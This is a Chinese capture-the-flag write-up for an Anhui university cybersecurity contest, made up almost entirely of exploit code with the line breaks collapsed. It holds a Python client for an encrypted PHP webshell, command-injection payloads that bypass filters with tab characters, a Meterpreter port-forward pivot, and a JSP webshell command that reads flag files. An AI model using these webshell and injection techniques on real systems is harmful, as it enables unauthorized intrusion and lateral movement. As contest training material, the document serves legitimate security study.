首届安徽"追日杯"大学生网络安全挑战赛WRITEUP

```python#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time    : 2021/12/5 10:59# @Author  : upload# @File    : ada.py# @Software: PyCharmimport requestsimport zlibimport reimport base64
def x(t,k):  return ''.join([chr(ord(x)^ord(y)) for x,y in zip(t,k*(len(t)/len(k)+1))])
session = requests.Session()# @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));cmd = 'system("cat /flag");'cmd = zlib.compress(cmd)cmd = x(cmd,"25ed1bcb")cmd = base64.b64encode(cmd)
rawBody = "423b0b7200f4{cmd}85fc5ff71c8e".format(cmd=cmd)print(rawBody)response = session.post("http://ctf.zrb.edisec.net:19859//index.php", data=rawBody)
print("Response body: %s" % response.content)res = re.findall(r'niGqOXD4rBhBWZ7t423b0b7200f4(.+)85fc5ff71c8e',response.content)[0]
# $r=@base64_encode(@x(@gzcompress($o),$k));res = base64.b64decode(res)res = x(res,"25ed1bcb")res = zlib.decompress(res)print(res)```

```python#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time    : 2021/12/5 9:56# @Author  : upload# @File    : exp.py# @Software: PyCharm

import requestssession = requests.session()import requests
burp0_url = "http://ctf.zrb.edisec.net:30989/flag"burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://ctf.zrb.edisec.net:34231/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
ip =  "http://ctf.zrb.edisec.net:34231"r1 = session.get(url=burp0_url,allow_redirects=False)print(r1.headers.get('Location'))r2 = session.get(r1.headers.get('Location'),allow_redirects=False)print(r2.headers.get('Location'))url = ip + r2.headers.get('Location')for i in range(0,1000):    r3 = session.get(url,allow_redirects=False)    print(r3.text)    url = ip + r3.headers.get('Location')    print(url)

# while True:#     if r1.status_code==301 or r1.status_code == 302:#         r1 = result.get(burp0_url,burp0_headers)

?cmd=sed%09p%09f1ag_1s_here%09```
```http://ctf.zrb.edisec.net:57807/?cmd='.`sed%09p%09/cccccreal_flag_here_ccccfffffffllllllllaggggg%09`.'```

```portfwd add -l 8082 -p 8080 -r 10.134.110.26```

```/manager/html```

116.62.104.172:8082/cmd/cmd.jsp?cmd=cat+%2Fflag3